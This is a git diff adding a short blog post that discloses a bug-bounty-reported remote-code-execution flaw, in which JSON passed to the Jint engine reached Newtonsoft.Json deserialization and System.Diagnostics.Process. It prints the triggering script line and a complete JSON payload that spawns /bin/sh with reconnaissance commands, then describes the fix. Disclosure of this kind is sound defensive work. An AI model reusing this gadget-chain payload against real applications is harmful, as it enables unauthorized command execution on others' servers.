diff options
| -rw-r--r-- | _log/jint-gadget-chain-rce.md | 45 |
1 files changed, 45 insertions, 0 deletions
diff --git a/_log/jint-gadget-chain-rce.md b/_log/jint-gadget-chain-rce.md new file mode 100644 index 0000000..081ec0e --- /dev/null +++ b/_log/jint-gadget-chain-rce.md @@ -0,0 +1,45 @@ +--- +title: CVSS 9.9 Jint gadget chain RCE +date: 2026-07-18 +layout: post +--- + +Asyx6, a bounty hunter, reported a CVSS 9.9 RCE vulnerability in a six-year-old +program. + +The application exposed JSON data from HTTP requests to Jint as +JObjects—presumed safe because the CLR interop was disabled in the Jint +configuration. It wasn't. + +Jint uses reflection-based method resolution on CLR types regardless of the +interop settings. A user-defined script invoking ToObject() on a JObject +activates Newtonsoft.Json's deserializer. Together, these formed a gadget chain +from attacker-controlled JSON payload to System.Diagnostics.Process: + +``` +data.ToObject(cfg).Start(psi.ToObject(cfg)).StandardOutput.ReadToEnd(); +``` + +The script triggers the deserialization of the following malicious JSON payload +via a serializer configured with TypeNameHandling.All. This constructs a +Process, starts it, and reads its output: + +``` +{ + "data": {"$type": "System.Diagnostics.Process, System.Diagnostics.Process"}, + "psi": { + "$type": "System.Diagnostics.ProcessStartInfo, System.Diagnostics.Process", + "FileName": "/bin/sh", + "ArgumentList": ["-c", "id; hostname; uname -sm; head -2 /etc/os-release"], + "RedirectStandardOutput": true, + "UseShellExecute": false + }, + "cfg": {"TypeNameHandling": 3} +} +``` + +Fix: Objects that implement IDictionary<string, object> bypass Jint's method +resolution system. Converted all objects that cross the CLR-JavaScript boundary +to ExpandoObjects. Blocked reflection types from reaching Jint for good +measure. + |